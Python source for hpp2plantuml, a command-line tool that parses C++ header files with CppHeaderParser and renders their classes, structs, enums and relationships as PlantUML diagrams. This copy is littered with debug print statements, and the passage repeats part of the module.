"""Constructor Parameters ---------- header_member : str Member name """ self._name = header_member self._type = None def render(self): """Render object to string (abstract method) Returns ------- str String representation of object member following the PlantUML syntax """ raise NotImplementedError('Derived class must implement `render`.') def comparison_keys(self): """Order comparison key between `ClassRelationship` objects Use the parent name, the child name then the link type as successive keys. Returns ------- list `operator.attrgetter` objects for successive fields used as keys """ if self._type is not None: return self._type, self._name else: return self._name # %% Class object class Class(Container): """Representation of C++ class This class derived from `Container` specializes the base class to handle class definition in C++ headers. It supports: * abstract and template classes * member variables and methods (abstract and static) * public, private, protected members (static) """ def __init__(self, header_class): """Constructor Extract the class name and properties (template, abstract) and inheritance. Then, extract the class members from the header using the :func:`parse_members` method. Parameters ---------- header_class : list (str, CppClass) Parsed header for class object (two-element list where the first element is the class name and the second element is a CppClass object) """ print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii") print(" header_class") print(header_class) print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii") print(header_class[0]) print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii") #super().__init__('class', header_class[0]) #super(Container, self).__init__('class', header_class[0]) #super(Container, self, 'class', header_class[0]).__init__() Container.__init__(self, 'class', header_class[0]) self._abstract = header_class[1]['abstract'] self._template_type = None if 'template' in header_class[1]: self._template_type = _cleanup_single_line( header_class[1]['template']) self._inheritance_list = [re.sub('<.*>', '', parent['class']) for parent in header_class[1]['inherits']] self.parse_members(header_class[1]) def _do_parse_members(self, header_class): """Initialize class object from header This method extracts class member variables and methods from header. Parameters ---------- header_class : CppClass Parsed header for class """ member_type_map = [ ['properties', ClassVariable], ['methods', ClassMethod] ] for member_type, member_type_handler in member_type_map: for member_prop in MEMBER_PROP_MAP.keys(): member_list = header_class[member_type][member_prop] for header_member in member_list: self._member_list.append( member_type_handler(header_member, member_prop)) def build_variable_type_list(self): """Get type of member variables This function extracts the type of each member variable. This is used to list aggregation relationships between classes. Returns ------- list(str) List of types (as string) for each member variable """ variable_type_list = [] for member in self._member_list: if isinstance(member, ClassVariable): variable_type_list.append(member.get_type()) return variable_type_list def build_inheritance_list(self): """Get inheritance list Returns ------- list(str) List of class names the current class inherits from """ return self._inheritance_list def _render_container_def(self): """Create the string representation of the class Return the class name with template and abstract properties if present. The output string follows the PlantUML syntax. Returns ------- str String representation of class """ class_str = self._container_type + ' ' + self._name if self._abstract: class_str = 'abstract ' + class_str if self._template_type is not None: class_str += ' <{0}>'.format(self._template_type) return class_str # %% Class member class ClassMember(ContainerMember): """Class member (variable and method) representation This class is the base class for class members. The representation includes the member type (variable or method), name, scope (``public``, ``private`` or ``protected``) and a static flag. """ def __init__(self, class_member, member_scope='private'): """Constructor Parameters ---------- class_member : CppVariable or CppMethod Parsed member object (variable or method) member_scope : str Member scope property: ``public``, ``private`` or ``protected`` """ super().__init__(class_member['name']) self._type = None self._static = class_member['static'] self._scope = member_scope self._properties = [] def render(self): """Get string representation of member The string representation is with the scope indicator and a static keyword when the member is static. It is postfixed by the type (return type for class methods) and additional properties (e.g. ``const`` methods are flagged with the ``query`` property). The inner part of the returned string contains the variable name and signature for methods. This is obtained using the :func:`_render_name` method. Returns ------- str String representation of member """ if len(self._properties) > 0: props = ' {' + ', '.join(self._properties) + '}' else: props = '' vis = MEMBER_PROP_MAP[self._scope] + \ ('{static} ' if self._static else '') member_str = vis + self._render_name() + \ (' : ' + self._type if self._type else '') + \ props return member_str def _render_name(self): """Get member name By default (for member variables), this returns the member name. Derived classes can override this to control the name rendering (e.g. add the function prototype for member functions) """ return self._name # %% Class variable class ClassVariable(ClassMember): """Object representation of class member variables This class specializes the `ClassMember` object for member variables. Additionally to the base class, it stores variable types as strings. This is used to establish aggregation relationships between objects. """ def __init__(self, class_variable, member_scope='private'): """Constructor Parameters ---------- class_variable : CppVariable Parsed class variable object member_scope : str Scope property to member variable """ assert(isinstance(class_variable, CppHeaderParser.CppHeaderParser.CppVariable)) super().__init__(class_variable, member_scope) self._type = _cleanup_type(class_variable['type']) def get_type(self): """Variable type accessor Returns ------- str Variable type as string """ return self._type # %% Class method class ClassMethod(ClassMember): """Class member method representation This class extends `ClassMember` for member methods. It stores additional method properties (abstract, destructor flag, input parameter types). """ def __init__(self, class_method, member_scope): """Constructor The method name and additional properties are extracted from the parsed header. * A list of parameter types is stored to retain the function signature. * The ``~`` character is appended to destructor methods. * ``const`` methods are flagged with the ``query`` property. Parameters ---------- class_method : CppMethod Parsed class member method member_scope : str Scope of the member method """ assert(isinstance(class_method, CppHeaderParser.CppHeaderParser.CppMethod)) super().__init__(class_method, member_scope) self._type = _cleanup_type(class_method['returns']) if class_method['returns_pointer']: self._type += '*' elif class_method['returns_reference']: self._type += '&' self._abstract = class_method['pure_virtual'] if class_method['destructor']: self._name = '~' + self._name if class_method['const']: self._properties.append('query') self._param_list = [] for param in class_method['parameters']: self._param_list.append([_cleanup_type(param['type']), param['name']]) def _render_name(self): """Internal rendering of method name This method extends the base :func:`ClassMember._render_name` method by adding the method signature to the returned string. Returns ------- str The method name (prefixed with the ``abstract`` keyword when appropriate) and signature """ assert(not self._static or not self._abstract) method_str = ('{abstract} ' if self._abstract else '') + \ self._name + '(' + \ ', '.join(' '.join(it).strip() for it in self._param_list) + ')' return method_str # %% Struct object class Struct(Class): """Representation of C++ struct objects This class derived is almost identical to `Class`, the only difference being the container type name ("struct" instead of "class"). """ def __init__(self, header_struct): """Class constructor Parameters ---------- header_struct : list (str, CppStruct) Parsed header for struct object (two-element list where the first element is the structure name and the second element is a CppStruct object) """ super().__init__(header_struct[0]) super(Class).__init__('struct') # %% Enum object class Enum(Container): """Class representing enum objects This class defines a simple object inherited from the base `Container` class. It simply lists enumerated values. """ def __init__(self, header_enum): """Constructor Parameters ---------- header_enum : CppEnum Parsed CppEnum object """ super().__init__('enum', header_enum.get('name', 'empty')) self.parse_members(header_enum) def _do_parse_members(self, header_enum): """Extract enum values from header Parameters ---------- header_enum : CppEnum Parsed `CppEnum` object """ for value in header_enum.get('values', []): self._member_list.append(EnumValue(value['name'])) class EnumValue(ContainerMember): """Class representing values in enum object This class only contains the name of the enum value (the actual integer value is ignored). """ def __init__(self, header_value, **kwargs): """Constructor Parameters ---------- header_value : str Name of enum member """ super().__init__(header_value) def render(self): """Rendering to string This method simply returns the variable name Returns ------- str The enumeration element name """ return self._name # %% Class connections class ClassRelationship(object): """Base object for class relationships This class defines the common structure of class relationship objects. This includes a parent/child pair and a relationship type (e.g. inheritance or aggregation). """ def __init__(self, link_type, c_parent, c_child, flag_use_namespace=False): """Constructor Parameters ---------- link_type : str Relationship type: ``inherit`` or ``aggregation`` c_parent : str Name of parent class c_child : str Name of child class """ self._parent = c_parent.get_name() self._child = c_child.get_name() self._link_type = link_type self._parent_namespace = c_parent._namespace or None self._child_namespace = c_child._namespace or None self._flag_use_namespace = flag_use_namespace def comparison_keys(self): """Order comparison key between `ClassRelationship` objects Compare alphabetically based on the parent name, the child name then the link type. Returns ------- list `operator.attrgetter` objects for successive fields used as keys """ return self._parent, self._child, self._link_type def _render_name(self, class_name, class_namespace, flag_use_namespace): """Render class name with namespace prefix if necessary Parameters ---------- class_name : str Name of the class class_namespace : str Namespace or None if the class is defined in the default namespace flag_use_namespace : bool When False, do not use the namespace Returns ------- str Class name with appropriate prefix for use with link rendering """ if not flag_use_namespace: return class_name if class_namespace is None: prefix = '.' else: prefix = class_namespace + '.' return prefix + class_name def render(self): """Render class relationship to string This method generically appends the parent name, a rendering of the link type (obtained from the :func:`_render_link_type` method) and the child object name. Returns ------- str The string representation of the class relationship following the PlantUML syntax """ link_str = '' # Wrap the link in namespace block (if both parent and child are in the # same namespace) namespace_wrap = None if self._parent_namespace == self._child_namespace and \ self._parent_namespace is not None: namespace_wrap = self._parent_namespace # Prepend the namespace to the class name flag_render_namespace = self._flag_use_namespace and not namespace_wrap parent_str = self._render_name(self._parent, self._parent_namespace, flag_render_namespace) child_str = self._render_name(self._child, self._child_namespace, flag_render_namespace) # Link string link_str += parent_str + ' ' + self._render_link_type() + \ ' ' + child_str + '\n' if namespace_wrap is not None: return wrap_namespace(link_str, namespace_wrap) return link_str def _render_link_type(self): """Internal representation of link The string representation is obtained from the `LINK_TYPE_MAP` constant. Returns ------- str The link between parent and child following the PlantUML syntax """ return LINK_TYPE_MAP[self._link_type] # %% Class inheritance class ClassInheritanceRelationship(ClassRelationship): """Representation of inheritance relationships This module extends the base `ClassRelationship` class by setting the link type to ``inherit``. """ def __init__(self, c_parent, c_child, **kwargs): """Constructor Parameters ---------- c_parent : str Parent class c_child : str Derived class kwargs : dict Additional parameters passed to parent class """ super().__init__('inherit', c_parent, c_child, **kwargs) # %% Class aggregation class ClassAggregationRelationship(ClassRelationship): """Representation of aggregation relationships This module extends the base `ClassRelationship` class by setting the link type to ``aggregation``. It also keeps a count of aggregation, which is displayed near the arrow when using PlantUML. Aggregation relationships are simplified to represent the presence of a variable type (possibly within a container such as a list) in a class definition. """ def __init__(self, c_object, c_container, c_count=1, rel_type='aggregation', **kwargs): """Constructor Parameters ---------- c_object : str Class corresponding to the type of the member variable in the aggregation relationship c_container : str Child (or client) class of the aggregation relationship c_count : int The number of members of ``c_container`` that are of type (possibly through containers) ``c_object`` rel_type : str Relationship type: ``aggregation`` or ``composition`` kwargs : dict Additional parameters passed to parent class """ super().__init__(rel_type, c_object, c_container, **kwargs) self._count = c_count def _render_link_type(self): """Internal link rendering This method overrides the default link rendering defined in :func:`ClassRelationship._render_link_type` to include a count near the end of the arrow. """ count_str = '' if self._count == 1 else '"%d" ' % self._count return count_str + LINK_TYPE_MAP[self._link_type] # %% Class dependency class ClassDependencyRelationship(ClassRelationship): """Dependency relationship Dependencies occur when member methods depend on an object of another class in the diagram. """ def __init__(self, c_parent, c_child, **kwargs): """Constructor Parameters ---------- c_parent : str Class corresponding to the type of the member variable in the dependency relationship c_child : str Child (or client) class of the dependency relationship kwargs : dict Additional parameters passed to parent class """ super().__init__('dependency', c_parent, c_child, **kwargs) # %% Diagram class class Diagram(object): """UML diagram object This class lists the objects in the set of files considered, and the relationships between object. The main interface to the `Diagram` object is via the ``create_*`` and ``add_*`` methods. The former parses objects and builds relationship lists between the different parsed objects. The latter only parses objects and does not builds relationship lists. Each method has versions for file and string inputs and folder string lists and file lists inputs. """ def __init__(self, template_file=None, flag_dep=False): """Constructor The `Diagram` class constructor simply initializes object lists. It does not create objects or relationships. """ self._flag_dep = flag_dep self.clear() loader_list = [] if template_file is not None: loader_list.append(jinja2.FileSystemLoader( os.path.abspath(os.path.dirname(template_file)))) self._template_file = os.path.basename(template_file) else: self._template_file = 'default.puml' loader_list.append(jinja2.PackageLoader('hpp2plantuml', 'templates')) self._env = jinja2.Environment(loader=jinja2.ChoiceLoader( loader_list), keep_trailing_newline=True) def clear(self): """Reinitialize object""" self._objects = [] self._inheritance_list = [] self._aggregation_list = [] self._dependency_list = [] def _sort_list(input_list): """Sort list using `ClassRelationship` comparison Parameters ---------- input_list : list(ClassRelationship) Sort list using the :func:`ClassRelationship.comparison_keys` comparison function """ input_list.sort(key=lambda obj: obj.comparison_keys()) def sort_elements(self): """Sort elements in diagram Sort the objects and relationship links. Objects are sorted using the :func:`Container.comparison_keys` comparison function and list are sorted using the `_sort_list` helper function. """ self._objects.sort(key=lambda obj: obj.comparison_keys()) for obj in self._objects: obj.sort_members() Diagram._sort_list(self._inheritance_list) Diagram._sort_list(self._aggregation_list) Diagram._sort_list(self._dependency_list) def _build_helper(self, input, build_from='string', flag_build_lists=True, flag_reset=False): """Helper function to initialize a `Diagram` object from parsed headers Parameters ---------- input : CppHeader or str or list(CppHeader) or list(str) Input of arbitrary type. The processing depends on the ``build_from`` parameter build_from : str Determines the type of the ``input`` variable: * ``string``: ``input`` is a string containing C++ header code * ``file``: ``input`` is a filename to parse * ``string_list``: ``input`` is a list of strings containing C++ header code * ``file_list``: ``input`` is a list of filenames to parse flag_build_lists : bool When True, relationships lists are built and the objects in the diagram are sorted, otherwise, only object parsing is performed flag_reset : bool If True, the object is initialized (objects and relationship lists are cleared) prior to parsing objects, otherwise, new objects are appended to the list of existing ones """ if flag_reset: self.clear() if build_from in ('string', 'file'): self.parse_objects(input, build_from) elif build_from in ('string_list', 'file_list'): print("ddddddddddddddddddddddddddddddddddddddddddd") print(input) build_from_single = re.sub('_list$', '', build_from) print("build_from_single: " + build_from_single) for single_input in input: print(" - " + single_input) self.parse_objects(single_input, build_from_single) print("ddddddddddddddddddddddddddddddddddddddddddd") if flag_build_lists: self.build_relationship_lists() self.sort_elements() def create_from_file(self, header_file): """Initialize `Diagram` object from header file Wrapper around the :func:`_build_helper` function, with ``file`` input, building the relationship lists and with object reset. """ self._build_helper(header_file, build_from='file', flag_build_lists=True, flag_reset=True) def create_from_file_list(self, file_list): """Initialize `Diagram` object from list of header files Wrapper around the :func:`_build_helper` function, with ``file_list`` input, building the relationship lists and with object reset. """ print("ccccccccccccccccccccccccccccccccccccccccccc") print file_list print("ccccccccccccccccccccccccccccccccccccccccccc") self._build_helper(file_list, build_from='file_list', flag_build_lists=True, flag_reset=True) def add_from_file(self, header_file): """Augment `Diagram` object from header file Wrapper around the :func:`_build_helper` function, with ``file`` input, skipping building of the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(header_file, build_from='file', flag_build_lists=False, flag_reset=False) def add_from_file_list(self, file_list): """Augment `Diagram` object from list of header files Wrapper around the :func:`_build_helper` function, with ``file_list`` input, skipping building of the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(file_list, build_from='file_list', flag_build_lists=False, flag_reset=False) def create_from_string(self, header_string): """Initialize `Diagram` object from header string Wrapper around the :func:`_build_helper` function, with ``string`` input, building the relationship lists and with object reset. """ self._build_helper(header_string, build_from='string', flag_build_lists=True, flag_reset=True) def create_from_string_list(self, string_list): """Initialize `Diagram` object from list of header strings Wrapper around the :func:`_build_helper` function, with ``string_list`` input, skipping building of the relationship lists and with object reset. """ self._build_helper(string_list, build_from='string_list', flag_build_lists=True, flag_reset=True) def add_from_string(self, header_string): """Augment `Diagram` object from header string Wrapper around the :func:`_build_helper` function, with ``string`` input, skipping building of the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(header_string, build_from='string', flag_build_lists=False, flag_reset=False) def add_from_string_list(self, string_list): """Augment `Diagram` object from list of header strings Wrapper around the :func:`_build_helper` function, with ``string_list`` input, building the relationship lists and without object reset (new objects are added to the object). """ self._build_helper(string_list, build_from='string_list', flag_build_lists=False, flag_reset=False) def build_relationship_lists(self): """Build inheritance and aggregation lists from parsed objects This method successively calls the :func:`build_inheritance_list` and :func:`build_aggregation_list` methods. """ self.build_inheritance_list() self.build_aggregation_list() if self._flag_dep: self.build_dependency_list() def parse_objects(self, header_file, arg_type='string'): """Parse objects This method parses file of string inputs using the CppHeaderParser module and extracts internal objects for rendering. Parameters ---------- header_file : str A string containing C++ header code or a filename with C++ header code arg_type : str It set to ``string``, ``header_file`` is considered to be a string, otherwise, it is assumed to be a filename """ # Parse header file print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee") print(" header_file: " + header_file) print(" arg_type: " + arg_type) print("eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee") parsed_header = CppHeaderParser.CppHeader(header_file, argType=arg_type) print("fffffffffffffffffffffffffffffffffffffffffff") print("parsed_header: ") #print(parsed_header) print("fffffffffffffffffffffffffffffffffffffffffff") for container_type, container_iterator, \ container_handler in CONTAINER_TYPE_MAP: objects = parsed_header.__getattribute__(container_type) print("ggggggggggggggggggggggggggggggggggggggggggg") print(" objects:") print(objects) print("ggggggggggggggggggggggggggggggggggggggggggg") for obj in container_iterator(objects): print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh") print(" obj:") print(obj) print("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh") self._objects.append(container_handler(obj)) print("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") def _make_class_list(self): """Build list of classes Returns ------- list(dict) Each entry is a dictionary with keys ``name`` (class name) and ``obj`` the instance of the `Class` class """ return [{'name': obj.get_name(), 'obj': obj} for obj in self._objects if isinstance(obj, Class)] def build_inheritance_list(self): """Build list of inheritance between objects This method lists all the inheritance relationships between objects contained in the `Diagram` object (external relationships are ignored). The implementation establishes a list of available classes and loops over objects to obtain their inheritance. When parent classes are in the list of available classes, a `ClassInheritanceRelationship` object is added to the list. """ self._inheritance_list = [] # Build list of classes in diagram class_list_obj = self._make_class_list() class_list = [c['name'] for c in class_list_obj] flag_use_namespace = any([c['obj']._namespace for c in class_list_obj]) # Create relationships # Inheritance for obj in self._objects: obj_name = obj.get_name() if isinstance(obj, Class): for parent in obj.build_inheritance_list(): if parent in class_list: parent_obj = class_list_obj[ class_list.index(parent)]['obj'] self._inheritance_list.append( ClassInheritanceRelationship( parent_obj, obj, flag_use_namespace=flag_use_namespace)) def build_aggregation_list(self): """Build list of aggregation relationships This method loops over objects and finds members with type corresponding to other classes defined in the `Diagram` object (keeping a count of occurrences). The procedure first builds an internal dictionary of relationships found, augmenting the count using the :func:`_augment_comp` function. In a second phase, `ClassAggregationRelationship` objects are created for each relationships, using the calculated count. """ self._aggregation_list = [] # Build list of classes in diagram # Build list of classes in diagram class_list_obj = self._make_class_list() class_list = [c['name'] for c in class_list_obj] flag_use_namespace = any([c['obj']._namespace for c in class_list_obj]) # Build member type list variable_type_list = {} for obj in self._objects: obj_name = obj.get_name() if isinstance(obj, Class): variable_type_list[obj_name] = obj.build_variable_type_list() # Create aggregation links aggregation_counts = {} for child_class in class_list: if child_class in variable_type_list.keys(): var_types = variable_type_list[child_class] for var_type in var_types: for parent in class_list: if re.search(r'\b' + parent + r'\b', var_type): rel_type = 'composition' if '{}*'.format(parent) in var_type: rel_type = 'aggregation' self._augment_comp(aggregation_counts, parent, child_class, rel_type=rel_type) for obj_class, obj_comp_list in aggregation_counts.items(): for comp_parent, rel_type, comp_count in obj_comp_list: obj_class_idx = class_list.index(obj_class) obj_class_obj = class_list_obj[obj_class_idx]['obj'] comp_parent_idx = class_list.index(comp_parent) comp_parent_obj = class_list_obj[comp_parent_idx]['obj'] self._aggregation_list.append( ClassAggregationRelationship( obj_class_obj, comp_parent_obj, comp_count, rel_type=rel_type, flag_use_namespace=flag_use_namespace)) def build_dependency_list(self): """Build list of dependency between objects This method lists all the dependency relationships between objects contained in the `Diagram` object (external relationships are ignored). The implementation establishes a list of available classes and loops over objects, list their methods adds a dependency relationship when a method takes an object as input. """ self._dependency_list = [] # Build list of classes in diagram class_list_obj = self._make_class_list() class_list = [c['name'] for c in class_list_obj] flag_use_namespace = any([c['obj']._namespace for c in class_list_obj]) # Create relationships # Add all objects name to list objects_name = [] for obj in self._objects: objects_name.append(obj.get_name()) # Dependency for obj in self._objects: if isinstance(obj, Class): for member in obj._member_list: # Check if the member is a method if isinstance(member, ClassMethod): for method in member._param_list: index = ValueError try: # Check if the method param type is a Class # type index = [re.search(o, method[0]) is not None for o in objects_name].index(True) except ValueError: pass if index != ValueError and \ method[0] != obj.get_name(): depend_obj = self._objects[index] self._dependency_list.append( ClassDependencyRelationship( depend_obj, obj, flag_use_namespace=flag_use_namespace)) def _augment_comp(self, c_dict, c_parent, c_child, rel_type='aggregation'): """Increment the aggregation reference count If the aggregation relationship is not in the list (``c_dict``), then add a new entry with count 1. If the relationship is already in the list, then increment the count. Parameters ---------- c_dict : dict List of aggregation relationships. For each dictionary key, a pair of (str, int) elements: string and number of occurrences c_parent : str Parent class name c_child : str Child class name rel_type : str Relationship type: ``aggregation`` or ``composition`` """ if c_child not in c_dict: c_dict[c_child] = [[c_parent, rel_type, 1], ] else: parent_list = [c[:2] for c in c_dict[c_child]] if [c_parent, rel_type] not in parent_list: c_dict[c_child].append([c_parent, rel_type, 1]) else: c_idx = parent_list.index([c_parent, rel_type]) c_dict[c_child][c_idx][2] += 1 def render(self): """Render full UML diagram The string returned by this function should be ready to use with the PlantUML program. It includes all the parsed objects with their members, and the inheritance and aggregation relationships extracted from the list of objects. Returns ------- str String containing the full string representation of the `Diagram` object, including objects and object relationships """ template = self._env.get_template(self._template_file) return template.render(objects=self._objects, inheritance_list=self._inheritance_list, aggregation_list=self._aggregation_list, dependency_list=self._dependency_list, flag_dep=self._flag_dep) # %% Cleanup object type string def _cleanup_type(type_str): """Cleanup string representing a C++ type Cleanup simply consists in removing spaces before a ``*`` character and preventing multiple successive spaces in the string. Parameters ---------- type_str : str A string representing a C++ type definition Returns ------- str The type string after cleanup """ return re.sub(r'[ ]+([*&])', r'\1', re.sub(r'(\s)+', r'\1', type_str)) # %% Single line version of string def _cleanup_single_line(input_str): """Cleanup string representing a C++ type Remove line returns Parameters ---------- input_str : str A string possibly spreading multiple lines Returns ------- str The type string in a single line """ return re.sub(r'\s+', ' ', re.sub(r'(\r)?\n', ' ', input_str)) # %% Expand wildcards in file list def expand_file_list(input_files): """Find all files in list (expanding wildcards) This function uses `glob` to find files matching each string in the input list. Parameters ---------- input_files : list(str) List of strings representing file names and possibly including wildcards Returns ------- list(str) List of filenames (with wildcards expanded). Each element contains the name of an existing file """ file_list = [] for input_file in input_files: file_list += glob.glob(input_file) print("Input File: " + input_file) return file_list def wrap_namespace(input_str, namespace): """Wrap string in namespace Parameters ---------- input_str : str String containing PlantUML code namespace : str Namespace name Returns ------- str ``input_str`` wrapped in ``namespace`` block """ return 'namespace {} {{\n'.format(namespace) + \ '\n'.join([re.sub('^', '\t', line) for line in input_str.splitlines()]) + \ '\n}\n' # %% Main function def CreatePlantUMLFile(file_list, output_file=None, **diagram_kwargs): """Create PlantUML file from list of header files This function parses a list of C++ header files and generates a file for use with PlantUML. Parameters ---------- file_list : list(str) List of filenames (possibly, with wildcards resolved with the :func:`expand_file_list` function) output_file : str Name of the output file diagram_kwargs : dict Additional parameters passed to :class:`Diagram` constructor """ print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") print("file_list: ") print(file_list) print("output_file: " + output_file) print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") if isinstance(file_list, str): file_list_c = [file_list, ] else: file_list_c = file_list print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb") print("file_list_c: ") print(file_list_c) print("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb") diag = Diagram(**diagram_kwargs) diag.create_from_file_list(list(set(expand_file_list(file_list_c)))) diag_render = diag.render() if output_file is None: print(diag_render) else: print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz") print(diag_render) print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz") with open(output_file, 'wt') as fid: fid.write(diag_render) # %% Command line interface def main(): """Command line interface This function is a command-line interface to the :func:`hpp2plantuml.CreatePlantUMLFile` function. Arguments are read from the command-line, run with ``--help`` for help. """ parser = argparse.ArgumentParser(description='hpp2plantuml tool.') parser.add_argument('-i', '--input-file', dest='input_files', action='append', metavar='HEADER-FILE', required=True, help='input file (must be quoted' + ' when using wildcards)') parser.add_argument('-o', '--output-file', dest='output_file', required=False, default=None, metavar='FILE', help='output file') parser.add_argument('-d', '--enable-dependency', dest='flag_dep', required=False, default=False, action='store_true', help='Extract dependency relationships from method ' + 'arguments') parser.add_argument('-t', '--template-file', dest='template_file', required=False, default=None, metavar='JINJA-FILE', help='path to jinja2 template file') parser.add_argument('--version', action='version', version='%(prog)s ' + '0.6') args = parser.parse_args() if len(args.input_files) > 0: CreatePlantUMLFile(args.input_files, args.output_file, template_file=args.template_file, flag_dep=args.flag_dep) # %% Standalone mode if __name__ == '__main__': main()

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import os import re import glob import argparse import CppHeaderParser import jinja2 MEMBER_PROP_MAP = { 'private': '-', 'public': '+', 'protected': '#' } LINK_TYPE_MAP = { 'inherit': '<|--', 'aggregation': 'o--', 'composition': '*--', 'dependency': '<..' } CONTAINER_TYPE_MAP = [ ['classes', lambda objs: objs.items(), lambda obj: Class(obj)], ['structs', lambda objs: objs.items(), lambda obj: Struct(obj)], ['enums', lambda objs: objs, lambda obj: Enum(obj)] ] class Container(object): """Base class for C++ objects This class defines the basic interface for parsed objects (e.g. class). """ def __init__(self, container_type, name): """Class constructor Parameters ---------- container_type : str String representation of container type (``class``, ``struct`` or ``enum``) name : str Object name """ self._container_type = container_type self._name = name self._member_list = [] self._namespace = None def get_name(self): """Name property accessor Returns ------- str Object name """ return self._name def parse_members(self, header_container): """Initialize object from header Extract object from CppHeaderParser dictionary representing a class, a struct or an enum object. This extracts the namespace. Parameters ---------- header_container : CppClass, CppStruct or CppEnum Parsed header for container """ namespace = header_container.get('namespace', None) if namespace: self._namespace = re.sub(':+$', '', namespace) self._do_parse_members(header_container) def _do_parse_members(self, header_container): """Initialize object from header (abstract method) Extract object from CppHeaderParser dictionary representing a class, a struct or an enum object. Parameters ---------- header_container : CppClass, CppStruct or CppEnum Parsed header for container """ raise NotImplementedError( 'Derived class must implement :func:`_do_parse_members`.') def render(self): """Render object to string Returns ------- str String representation of object following the PlantUML syntax """ container_str = self._render_container_def() + ' {\n' for member in self._member_list: container_str += '\t' + member.render() + '\n' container_str += '}\n' if self._namespace is not None: return wrap_namespace(container_str, self._namespace) return container_str def comparison_keys(self): """Order comparison key between `ClassRelationship` objects Use the parent name, the child name then the link type as successive keys. Returns ------- list `operator.attrgetter` objects for successive fields used as keys """ return self._container_type, self._name def sort_members(self): """Sort container members sort the list of members by type and name """ self._member_list.sort(key=lambda obj: obj.comparison_keys()) def _render_container_def(self): """String representation of object definition Return the definition line of an object (e.g. "class MyClass"). Returns ------- str Container type and name as string """ return self._container_type + ' ' + self._name class ContainerMember(object): """Base class for members of `Container` object This class defines the basic interface for object members (e.g. class variables, etc.) """ def __init__(self, header_member, **kwargs): """Constructor Parameters ---------- header_member : str Member name """ self._name = header_member self._type = None def render(self): """Render object to string (abstract method) Returns ------- str String representation of object member following the PlantUML syntax """ raise NotImplementedError('Derived class must implement `render`.') def comparison_keys(self): """Order comparison key between `ClassRelationship` objects Use the parent name, the child name then the link type as successive keys. Returns ------- list `operator.attrgetter` objects for successive fields used as keys """ if self._type is not None: return self._type, self._name else: return self._name class Class(Container): """Representation of C++ class This class derived from `Container` specializes the base class to handle class definition in C++ headers. It supports: * abstract and template classes * member variables and methods (abstract and static) * public, private, protected members (static) """ def __init__(self, header_class): """Constructor Extract the class name and properties (template, abstract) and inheritance. Then, extract the class members from the header using the :func:`parse_members` method. Parameters ---------- header_class : list (str, CppClass) Parsed header for class object (two-element list where the first element is the class name and the second element is a CppClass object) """ print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii") print(" header_class") print(header_class) print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii") print(header_class[0]) print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii") Container.__init__(self, 'class', header_class[0]) self._abstract = header_class[1]['abstract'] self._template_type = None if 'template' in header_class[1]: self._template_type = _cleanup_single_line( header_class[1]['template']) self._inheritance_list = [re.sub('<.*>', '', parent['class']) for parent in header_class[1]['inherits']] self.parse_members(header_class[1]) def _do_parse_members(self, header_class): """Initialize class object from header This method extracts class member variables and methods from header. Parameters ---------- header_class : CppClass Parsed header for class """ member_type_map = [ ['properties', ClassVariable], ['methods', ClassMethod] ] for member_type, member_type_handler in member_type_map: for member_prop in MEMBER_PROP_MAP.keys(): member_list = header_class[member_type][member_prop] for header_member in member_list: self._member_list.append( member_type_handler(header_member, member_prop)) def build_variable_type_list(self): """Get type of member variables This function extracts the type of each member variable. This is used to list aggregation relationships between classes. Returns ------- list(str) List of types (as string) for each member variable """ variable_type_list = [] for member in self._member_list: if isinstance(member, ClassVariable): variable_type_list.append(member.get_type()) return variable_type_list def build_inheritance_list(self): """Get inheritance list Returns ------- list(str) List of class names the current class inherits from """ return self._inheritance_list def _render_container_def(self): """Create the string representation of the class Return the class name with template and abstract properties if present. The output string follows the PlantUML syntax. Returns ------- str String representation of class """ class_str = self._container_type + ' ' + self._name if self._abstract: class_str = 'abstract ' + class_str if self._template_type is not None: class_str += ' <{0}>'.format(self._template_type) return class_str class ClassMember(ContainerMember): """Class member (variable and method) representation This class is the base class for class members. The representation includes the member type (variable or method), name, scope (``public``, ``private`` or ``protected``) and a static flag. """ def __init__(self, class_member, member_scope='private'): """Constructor Parameters ---------- class_member : CppVariable or CppMethod Parsed member object (variable or method) member_scope : str Member scope property: ``public``, ``private`` or ``protected`` """ super().__init__(class_member['name']) self._type = None self._static = class_member['static'] self._scope = member_scope self._properties = [] def render(self): """Get string representation of member The string representation is with the scope indicator and a static keyword when the member is static. It is postfixed by the type (return type for class methods) and additional properties (e.g. ``const`` methods are flagged with the ``query`` property). The inner part of the returned string contains the variable name and signature for methods. This is obtained using the :func:`_render_name` method. Returns ------- str String representation of member """ if len(self._properties) > 0: props = ' {' + ', '.join(self._properties) + '}' else: props = '' vis = MEMBER_PROP_MAP[self._scope] + \ ('{static} ' if self._static else '') member_str = vis + self._render_name() + \ (' : ' + self._type if self._type else '') + \ props return member_str def _render_name(self): """Get member name By default (for member variables), this returns the member name. Derived classes can override this to control the name rendering (e.g. add the function prototype for member functions) """ return self._name class ClassVariable(ClassMember): """Object representation of class member variables This class specializes the `ClassMember` object for member variables. Additionally to the base class, it stores variable types as strings. This is used to establish aggregation relationships between objects. """ def __init__(self, class_variable, member_scope='private'): """Constructor Parameters ---------- class_variable : CppVariable Parsed class variable object member_scope : str Scope property to member variable """ 